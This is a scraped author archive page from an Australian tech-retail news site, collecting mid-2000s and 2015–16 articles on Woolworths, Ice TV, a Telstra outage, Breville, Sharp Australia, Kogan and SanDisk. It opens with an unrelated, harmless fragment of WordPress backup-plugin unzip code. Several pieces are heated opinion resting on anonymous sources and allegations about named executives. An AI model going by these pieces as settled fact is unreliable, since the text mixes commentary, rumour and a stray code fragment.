(!$wp_filesystem->mkdir($_dir, FS_CHMOD_DIR) && !$wp_filesystem->is_dir($_dir)) { return new WP_Error('mkdir_failed_'.$method, __('Could not create directory.'), substr($_dir, strlen($to)));// phpcs:ignore WordPress.WP.I18n.MissingArgDomain -- The string exists within the WordPress core. } } unset($needed_dirs); $size_written = 0; $content_cache = array(); $content_cache_highest = -1; for ($i = $starting_index; $i < $num_files; $i++) { if (!$info = $z->statIndex($i)) { return new WP_Error('stat_failed_'.$method, __('Could not retrieve file from archive.'));// phpcs:ignore WordPress.WP.I18n.MissingArgDomain -- The string exists within the WordPress core. } // directory if ('/' == substr($info['name'], -1)) continue; // Don't extract the OS X-created __MACOSX if ('__MACOSX/' === substr($info['name'], 0, 9)) continue; // Don't extract invalid files: if (0 !== validate_file($info['name'])) continue; if (!empty($folders_to_include)) { // Don't extract folders that we want to exclude $path = preg_split('![/\\\]!', untrailingslashit($info['name'])); if (isset($path[1]) && !in_array($path[1], $folders_to_include)) continue; } // N.B. PclZip will return (boolean)false for an empty file if (isset($info['size']) && 0 == $info['size']) { $contents = ''; } else { // UpdraftPlus_PclZip::getFromIndex() calls PclZip::extract(PCLZIP_OPT_BY_INDEX, array($i), PCLZIP_OPT_EXTRACT_AS_STRING), and this is expensive when done only one item at a time. We try to cache in chunks for good performance as well as being able to resume. if ($i > $content_cache_highest && 'UpdraftPlus_PclZip' == $class_to_use) { $memory_usage = memory_get_usage(false); $total_memory = $updraftplus->memory_check_current(); if ($memory_usage > 0 && $total_memory > 0) { $memory_free = $total_memory*1048576 - $memory_usage; } else { // A sane default. Anything is ultimately better than WP's default of just unzipping everything into memory. $memory_free = 50*1048576; } $use_memory = max(10485760, $memory_free - 10485760); $total_byte_count = 0; $content_cache = array(); $cache_indexes = array(); $cache_index = $i; while ($cache_index < $num_files && $total_byte_count < $use_memory) { if (false !== ($cinfo = $z->statIndex($cache_index)) && isset($cinfo['size']) && '/' != substr($cinfo['name'], -1) && '__MACOSX/' !== substr($cinfo['name'], 0, 9) && 0 === validate_file($cinfo['name'])) { $total_byte_count += $cinfo['size']; if ($total_byte_count < $use_memory) { $cache_indexes[] = $cache_index; $content_cache_highest = $cache_index; } } $cache_index++; } if (!empty($cache_indexes)) { $content_cache = $z->updraftplus_getFromIndexBulk($cache_indexes); } } $contents = isset($content_cache[$i]) ? $content_cache[$i] : $z->getFromIndex($i); } if (false === $contents && ('pclzip' !== $method || 0 !== $info['size'])) { return new WP_Error('extract_failed_'.$method, __('Could not extract file from archive.').' '.$z->last_error, json_encode($info));// phpcs:ignore WordPress.WP.I18n.MissingArgDomain -- The string exists within the WordPress core. } if (!$wp_filesystem->put_contents($to . $info['name'], $contents, FS_CHMOD_FILE)) { return new WP_Error('copy_failed_'.$method, __('Could not copy file.'), $info['name']);// phpcs:ignore WordPress.WP.I18n.MissingArgDomain -- The string exists within the WordPress core. } if (!empty($info['size'])) $size_written += $info['size']; do_action('updraftplus_unzip_file_unzipped', $file, $i, $info, $size_written, $num_files); } $z->close(); return true; } } David Richards, Author at Smart Office - Page 78 of 91

    Smart Office

    Masters + Big W Sales Crash As Woolies Reports 12.5% Sales Slump

    Under siege supermarket group Woolworths who also own BigW and the struggling Masters Hardware chain has suffered a 12.5 per cent slump in its full-year net profit to $2.15 billion.

    Total group sales were down 0.2 per cent to $60.7 billion and earnings before interest and tax plunged 12 per cent to $3.3 billion.

    BigW is fast becoming a train wreck despite the mass retailer expanding their consumer electronics offerings. Sales slumped 5.7% from $4.3 Billion to $4.1 Billion. 
    Comp sales were down 7.2% while the cost of doing business rose 167bps.

    The losses from Masters also continued to grow, blowing out to $245.6 million for the full year on sales of $930 million. Last week, the rival Bunnings hardware chain who have recently started to add brands like Belkin in an effort to attract home automation customers, unveiled a record $1.1 billion profit result, from an 11.6 per cent jump in sales to $9.5 billion.

    Woolworths also said chairman Ralph Waters would step down on September 1, to be replaced on the same day by Mr Cairns.

    The appointment of former Lion Nathan chief Gordon Cairns as chairman is seen by analysts as a vital step in preparing the ground for the appointment of a new chief executive to replace the retiring Grant O’Brien.

    This is the first full-year net profit drop in 19 years (excluding one-offs), as it battles to fend off a sustained price attack from Aldi and Coles and as they struggle to stem losses from its Masters Hardware operation and turn around Big W.

    The Daily Telegraph wrote of thew Woolies saga, ‘Watching Woolworths is increasingly the corporate equivalent of car crash TV. There’s the sudden departure of Big W boss Alistair McGeorge after complaints about his “workplace behaviour”, the ongoing “leadership” of lame duck CEO Grant O’Brien and a series of PR disasters (the “Fresh in our Memories” Anzac social media campaign, anyone?) just for starters’.

    New Ice TV Skippa PVR, Expensive, Has No Netflix + You Get Charged For Ad Skipping + Program Guide.

    Ice TV the Company that is still trying to sting consumer $99 for a TV Guide despite most TV’s delivering a guide for free is now trying to slug consumers $499 for a Personal Video Recorder or $599 for ad skipping software that does not work all the time.

    Called the Skippa because it skips advertisements in 30-second increments the device is three years late, the catch is that if you want an Ice TV program guide you have to pay an additional $100.

    Back in 2012 the CEO of Ice TV Colin O’Brien told ChannelNews that he was about to release a personal video recorder that was being taken up by mass retailers, the only problem was that when ChannelNews checked not one single retailers was able to confirm the ranging of an Ice TV box.

    When O’Brien was asked to nominate which retailers were set to stock the new device he said “it’s confidential”.

    Even now the Skippa box is only being sold online via the Ice TV web site.


    The device which competes head on with other products from Beyonwiz, Humax, Strong, Topfield and UEC, or computer-based PVRs such as Windows Media Centre and Elgato EyeTV is expensive when compared to what’s on offer from other media centre devices. It also has no Netflix, Stan, Presto or other mainstream streaming services, though it does deliver HBB TV.

    It features three high-def MPEG-2/4 digital TV tuners and has a 1TB drive which is standard in several PVR’s.
     
    A big disadvantage is that if you  one records a series of shows the device will not add padding either side of the show similar to what one can do with the new Foxtel iQ3 or the Fetch TV box. 

    Nor can you set Series recordings to only keep a certain number of episodes before deleting them to save space.

    An IceTV subscription costs $99 per year or you pay $599 to get a lifetime subscription when you buy a Skippa which retails for $499 without the Ice TV guide. 

    You also get stung $49 per year for the auto ad-skipping features if you don’t pay for lifetime subscription. 

     Fairfax Media said after reviewing the product “AutoSkip can’t work its magic while you’re watching a live broadcast. Nor does it work if you’re watching on a slight delay because it needs time to process the recording, which takes about as long as the length of the show. It doesn’t delete the ads, it simply marks where they start and finish”. 

    They added “The AutoSkip feature is surprisingly good but not foolproof, IceTV says it’s around 90 per cent accurate”.

    COMMENT: Why The Federal Government Needs To Legislate To Stop Woeful Telstra Service

    Today many homes are dependent on broadband, not for gaming or watching movies as Telstra like to spruik, today broadband is as much about the truly automated house, it’s about networked sound systems, security and IP based devices, which is why the Federal Government needs to step in and introduce laws that force Companies like Telstra to take action immediately to fix broadband services when they go down.

    This week it really came home to me when Telstra went down on the 23rd of December in Mosman NSW, at first I thought it was a problem with my router or the old Telstra Motorola cable modem, it was not until I did a search of the Telstra site that I discovered that Telstra was not only down in Mosman NSW, but the problem would not be fixed till 19.00 hours on the 29th of December. 

    One whole week to fix a broadband problem. 


    This is a Company that rakes in billions in both revenues and profits every quarter, this is also the same Company that is now spruiking their services for medical health in the hope that your local GP or your local hospital or pharmacy can deliver services over a Telstra broadband network.


    Click to enlarge


    On the surface it appears that Telstra does not want to invest in having to pay penalty rates during a holiday period for someone to fix a network problem, that is either a failure in an exchange or the cutting of an external connection to the exchange.

    Either way it is gross negligence by Telstra that they cannot fix a problem in under a week, even Christmas week.

    Today IP connectivity is a key part of our lives and Telstra has no qualms spruiking everything that hangs off an IP network in the hope that they can make a dollar. But putting in place 24/7 support 52 weeks of the year appears to be another thing at Telstra. 

    What I believe is needed is a Federal committee to investigate the obligations of organisations like Telstra, TPG, Optus or Vodafone when a broadband service fails. 

    To have to wait a week to regain supply in a main metropolitan suburb is appalling and downright dangerous for people who have invested in IP based technology in their homes. 

    My broadband supply is cable as result; I have no Wi Fi connectivity resulting in several devices not working. 

    They include a Sonos system, my smart TV services, my security system, my recently installed Telstra TV box, my Foxtel iQ service which is connected to an IP network, unlike the prior boxes was unable to deliver recorded programs.

    In other word’s my Christmas was utterly stuffed up by Telstra which is not great with four grand children snapping at your heels. 

    What the Federal Government needs to do as part of Malcom Turnbull’s innovation agenda is put a structure in place that forces carriers of broadband services to respond immediately, when services go down.

    Organisations like Telstra need to be threatened with heavy penalties if they fail to respond in a fair and reasonable time frame.

    A committee has to be formed made up of industry professionals who are able to set fair and reasonable time frames for repairs to be conducted, whether it be the cutting of a cable by a third party contractor of the failure of equipment in an Exchange or across a network.

    Right now Telstra should be banned from supplying life threatening services such as what is outlined in their medical services initatives because at the end of a broadband cable a life could be in desperate need of help.

    Then again the small print in any Telstra contract could absolve Telstra from any liability if someone died as a result of a broadband connection being cut off to a home network. 

    As you you will see from the below Telstra chart services to home phones, ADSL, cable and Foxtel services are affected in Mosman so if your life depends on Foxtel and you are looking at installing a Telstra medical service, I would invest in a back up plan. 



    Click to enlarge

    EXCLUSIVE:Breville Told To Sell Kambrook

    The Breville Group whose share value has climbed over 40% since October 2015, is believed to be looking at selling their Kambrook brand.

    ChannelNews has been told that financial advisors to the Company have recommended to the Breville board that they consider selling the Kambrook brand which is under pressure trading in the value end of the small appliance market which is being impacted by German retail Aldi and seasonal changes that are affecting products such as heaters.  

    The Australian Appliance Company who are witnessing growth in demand for their Breville branded products in the USA and other overseas markets recently retrenched senior management in an effort to cut costs at Kambrook.


    Click to enlarge


    Among those axed was former Breville Marketing Manager Richard Babekuhl who 18 months prior was put in charge of the Kambrook operation.

    Also let go was Sonya Fetherston the sales and marketing operations manager at Kambrook.

    A Breville source said “Both Kambrook and Sunbeam are struggling in the budget end of the appliance especially since Aldi has expanded their ranging of appliances in Australia”. 

    “The reality is that both the Aldi and a lot of the Kambrook and Sunbeam products come out of the same Chinese factories and where Kambrook and Sunbeam are manufacturing for the Australia market, Aldi is placing global deals that allows their distributors to obtain significantly better pricing”

    They added “Right now Kambrook should be selling heaters but because of the unseasonal warm weather heater sales are at a standstill in most States. As a result, forecast targets are not going to be met”.

    According to Aldi suppliers the same problem occurred in Europe recently with warm weather affecting the sale of millions of heaters the German retailer was banking on selling.   

    In his role running the Kambrook business Babekuhl was responsible for a portfolio, across over 200 product lines.

    He led a team of 16 including Category Managers, Test Kitchen, Engineers and Sales to manage the New Product Development pipeline from concept to commercialisation.

    In December 2015, Breville announced that they had lifted half year profit 4% but warns its future financial performance will be ‘unpredictable’.

    The company made a net profit of $30.8 million for the six months to December 31, up from $29.7 million a year ago.

    Breville, which sells Nespresso, Philips, Kambrook and Ronson branded products, said that sales for the six months grew 12.7 per cent to $331 million.

    It expects mid-single digit earnings growth for the full year, but has flagged patchy international economic conditions as a major challenge going forward.

    ‘Given the continued sporadic business conditions across the globe, the group believes future financial performance will be relatively more unpredictable,’ the company said.

    In the USA Breville is seen as an aspirational brand with the Company now looking to expand their brand offering in the US. 

    In Australia Chief executive Jim Clayton is flagging a slowdown due to stiff competition and rising costs. Revenue in ANZ slipped 2.8 per cent.

    Clayton said Breville was working on new ways to improve the future profitability of the Australian operation. 

    ‘The benefits of these initiatives will commence in the second half of the 2016 financial year,’ he said.

    Sharp: Deputy MD, Calls In His Lawyers When Asked About Sales

    Senior management from Sharp Australia who have just returned from a trip to Japan, to discuss among several issues, the fate of the local subsidiary, are not saying whether Australian operation is going to be spared the axe following the takeover of the Sharp Corporation by Foxconn.

    Joe Constantino the Deputy Managing Director of Sharp Australia who went to Japan last week, appears to have become extremly sensitive to questions about the local subsidiaries performance and its future.

    When we sent an email to Constantino recently one of the questions we asked was for an explanation as to why sales at Sharp Australia “fell in the consumer market from $95M in 2010 to less than $30M in 2016, under his management”.

    Mr Costantino did not reply but his lawyers did. In a letter to 4Square Media they wrote “Mr Constantino received an unsolicited email from you. Please refrain from sending unsolicited communications to Mr Costantino in future and direct any communications in relation to Sharp Australia Pty Ltd (Sharp Australia) or Mr Costantino to our attention”.

    Neither Constantino or his lawyers have denied that consumer sales at Sharp Australia have slumped.

    His lawyers have also tried to claim that the performance and operations of Sharp Corporation Australia have no correlation to the Sharp Corporation despite the Sharp Corporation owning 100% of the shares in SHA.

    ChannelNews understands that following the exit of Sharp Australia from the TV market, Sharp sales in 2016 could fall further.

    The Sharp Corporation posted a second straight annual loss of more than US$2.3B recently, this was the fifth straight year of losses. An initial review of the company by new owner Foxconn revealed a level of inefficiency throughout and performance described as sub-par said the Wall Street Journal.

    What is not known is whether this description applies to the Australian operation which is now struggling in the appliance market due in part to a lack of range.

    In comparison Sharp in the USA is witnessing a major uplift after Hisense took over their ailing TV business and a former Sharp TV manufacturing plant in Mexico.

    Where Australia simply threw in the towel and got out of the TV market, Sharp in the US cut a deal with Chinese Company Hisense who are at the expense of Sharp Australia are now the third largest supplier of discount TV’s in Australia.

    Within weeks Hisense had ramped up production, logistics, and fulfilment and are now challenging brands such as Samsung, LG and Panasonic.

    The 1.3-million-square-foot factory doubled its efficiency within a few months of operation after it moved from being under Sharp management.

    It is now Hisense’s largest TV manufacturing hub outside of China.

    Like Sharp was years ago both in Australia, Japan and globally, Hisense is today a major player in the global and domestic TV markets, holding the No.3 TV position behind Samsung and LG in 2015 and occupying the top spot in China, with sales revenues hitting $15.25 billion last year.

    On the other hand, Sharp Australia has gone from being one of the top two TV brands in Australia and a household name in appliance to being out of the TV market and struggling in the appliance market.

    Both former staff and observers, with inside knowledge of the Companies operations, claim the decline was due to poor management, a lack of investment in marketing and a lack of digital marketing expertise.

    Unlike Sharp Hisense aggressively outlined plans to achieve the number three TV brand position in the USA by 2018 at the 2016 International CES.

    Combined with Sharp USA’s TV business, Hisense aims at doubling its U.S. market share within the next three years.

    Kogan Now Wants To Take On David Jones, Myer, Target + K Mart

    Ruslan Kogan is out spruiking again, after failing in his predictions that Apple was set to dump their retail partners the mouth from the south (Melbourne) is now claiming that he wants to branch out of consumer electronics and take on the likes of David Jones, Myer, Target and K Mart.

    In other words, his sales of CE products and the related margins are slowing and he now needs to find new markets to flog cheap gear

    He claims that he doesn’t want cheap televisions to define his business any more.

    Speaking to Fairfax Media he said “I had a guy at my place to fix the air conditioner a few weeks ago and he walks in and was like ‘oh, so you’re Kogan, the guy that sells the TVs’.

    “I was like ‘we’ll there’s 30,000 products on our site right now and TVs are just a portion of that’.”

    Recently his Company has moved into categories as diverse as fashion and outdoor goods but now he wants to flog as many categories as possible.

    “From a financial perspective, they’re industries that have much-higher margins than consumer electronics, so it gives us the ability to really smash the competition,” Mr Kogan said.

    Kogan has quietly rolled out private-label brands of sports equipment, power tools, Manchester, travel goods and even pet supplies in the past year.  

    When asked how he would approach the new categories he said “We’ll think ‘Is there a demand for towels’? and we’ll take a look at the number of Google searches for towels, then we’ll look at how much we can get them manufactured for,” he said.

    “Then we’ll look at how much we can get them delivered to the customer for, see what the other price in the market is, and then say ‘go’.”

    Core to his success is a back-end bidding system that manufacturers and suppliers use to compete for contracts.

    “What Amazon is letting the customer do at the front end, we’re doing at the back end,” Mr Kogan said.
    “You could go onto Kogan and order an iPhone a week, and over the space of a few months one would arrive from France, one would arrive from Hong Kong, one would arrive from the US, one from Singapore.

    Kogan who owns his company won’t reveal customer numbers or sales figures.

    Apple + Samsung Tipped To Be Running A Ruler Over Struggling SanDisk

    SanDisk whose high priced memory products generate excellent revenues for Australian retailers is up for sale with Samsung tipped to have now entered the bidding war for the US based Company, Toshiba a part owner of factories with SanDisk has given their blessing to a sale.

    Back in April ChannelNews tipped that SanDisk would be put up for sale and that Samsung would be a bidder. 

    Takeover speculation is now reaching fever pitch with several Companies tipped to be in the race to buy the struggling memory Company who earlier this year was dumped by Apple.

    Among the Companies said to be running the ruler over SanDisk are Micron Technology, whose market capitalization is $20 billion, Western Digital, capitalization $19 billion and Seagate whose capitalization is $11.5 billion.

    The potential sale comes as the storage sector has fallen on hard times in 2015, following a broad sector rally in 2013 and 2014. 

    If Samsung get the business, the Australian and regional management at SanDisk are set to be retrenched with Samsung taking over sales.  

    During the past two years, SanDisk gained 125% while peer players like Micron rallied over 450%. Prior to last week’s rally, SanDisk shares were down 37% year to date for 2015. 

    Micron is one of the rivals that is said to be considering putting in an offer, which would make some sense although could be tricky to consummate. SanDisk jointly operates flash memory factories with Toshiba, so Toshiba would have to sign off as well.

     But the good news is that Toshiba is reportedly open to the idea. Western Digital is the other company that is tipped to be interested. 

    There is also speculation that Apple could be in the bidding for the struggling Company.

      “For Apple, it’s a drop in the $115 billion in (its) net-cash-and-investments bucket.”  said one analyst.
    The analyst believes the “pay out” would be rather quick and manifest itself in the form of lower NAND costs along with negotiating leverage with other suppliers.

    Last year Apple acquired Beats for $3 billion. SanDisk’s current market cap is currently over $14 billion.

    Motley Fool suggested that It makes a lot more sense for a peer to acquire SanDisk since operational similarities would yield significant cost-saving synergies. Considering the commodity nature of the memory market, cost discipline is almost as important to long-term viability than product innovation.

     If there are multiple suitors, a potential bidding war could conceivably drive SanDisk’s final price to close to $20 billion.

     That total would be almost seven times the size of the Beats deal.

    New Mobile Phone Services

    Mobile phone Companies are active this week launching new products among the big movers and shakers are Microsoft, Nokia and HP.

    First it was Apple’s iPod. Now Microsoft’s taste in fruit has run to BlackBerries. The software giant will today announce several devices that link to mobile-phone services for messages on the go. Microsoft will build on upgrades announced in June to access new e-mail messages. The trick is to imitate Research In Motion’s push e-mail system.
    Mobile phones running Microsoft’s software currently use a cumbersome and costly method to update e-mail inboxes. The first four devices with in-built push e-mail will come from phone and computer makers. The star is Hewlett-Packard’s new handheld iPaq hw6900. It’s been released as H-P moves to separate its handheld business from its notebook computers.

    Other players include Vodafone and US carrier  Cingular Wireless. Canada-based RIM has more than 4.3 million subscribers, the vast majority business users. There are probably about six to 10 million mobile e-mail users, a few hundred thousand using Microsoft software. But with more than a billion mobile users in the world, Microsoft is betting there’s a much bigger e-mail market to open up.

    Nokia, which yesterday announced a new handset (See story on next page) has signalled its intentions by buying RIM rival Intellisync for $430 million.

    Microsoft hopes to compete on price. For corporations that already have Microsoft’s Exchange Server 2003 software for managing e-mail accounts and its Windows Mobile 5.0 software for phones, the push e-mail upgrade is available at no additional cost. Other corporates need to pay several thousand dollars to purchase a mobile e-mail server and may have to pay an additional licence fee of up to $100.

     


    Australia gets new BlackBerry

    It might be in dire strife in the US. But in Australia, Research In Motion is now offering the BlackBerry 7130e for Telstra’s 1xEV-DO mobile broadband network.

    The 7130e delivers e-mail and data using the well-known BlackBerry platform, but in a mobile phone design. It can also become a modem for notebook computers. The BlackBerry 7130e claims a bigger and high-resolution LCD screen, Bluetooth support for wireless headsets or hands-free car kits, 64MB of flash memory, dedicated “send” and “end” phone keys, an intuitive user interface and enhanced battery life. A Qwerty keyboard fits within a traditional wireless phone form.

    Nokia who last week did not want to know technology writers were this week back sucking up to them  to announce availability of the Nokia 9300 smartphone on Telstra’s mobile network using BlackBerry’s “push” e-mail technology. This connects to a corporate or private email service using the BlackBerry server, which is the same email platform deployed by a number of Australian companies.

    Sandisk To Buy Lexar?

    SanDisk which makes memory cards for electronics, is considering an option to buy Lexar Media industry insiders are saying.

    SanDisk has hired Morgan Stanley to explore the bid, and a deal may include selling some of the combined company’s assets to Toshiba to avoid antitrust problems, a Morgan Stanley source has said. Lexar said March 8 that it had agreed to be bought by Micron Technology Inc. for $667 million, and the deal has been opposed by some Lexar shareholders, including Carl Icahn,said.

    Representatives of SanDisk, Lexar and Toshiba didn’t return phone calls or declined to comment on the move. Shares of Lexar have rose 40 cents, or 4.6 percent, to $9.19 and traded as high as $9.33.

    Narta Buying Group On A Roll In OZ

    Australian appliance and consumer electronics buying group Narta is on a roll and growing at three times the industry average executives at their annual conference in whistler Canada have been told.

    Australian appliance and consumer electronics buying group Narta is on a roll and growing at three times the industry average executives at their annual conference in whistler Canada have been told.

    During the past 12 months Narta snared 26 per cent in side by side refrigeration 30.7 per cent share in plasma, 28.9 per cent in LCD, 26.2 per cent in imaging, 32.0 per cent in cooking and27.5 per cent in dishwashers.

    The group that is responsible for the purchase of goods for the likes of JB Hi Fi, Clive Peeters, David Jones, Bing Lee, and organisations like Winnings believes that they can grow even further however it will be tough in the current economic climate Narta chairman John Wipfli told a packed audience of industry heavyweights.

    In his opening address Wipfli said that the group achieved growth of 13 per cent in 2008 compared to the industry average of just 4.3 per cent.

    “Our industry is not going to disappear, however growth may not be the same as it has been in the past. We should be optimistic, not pessimistic.”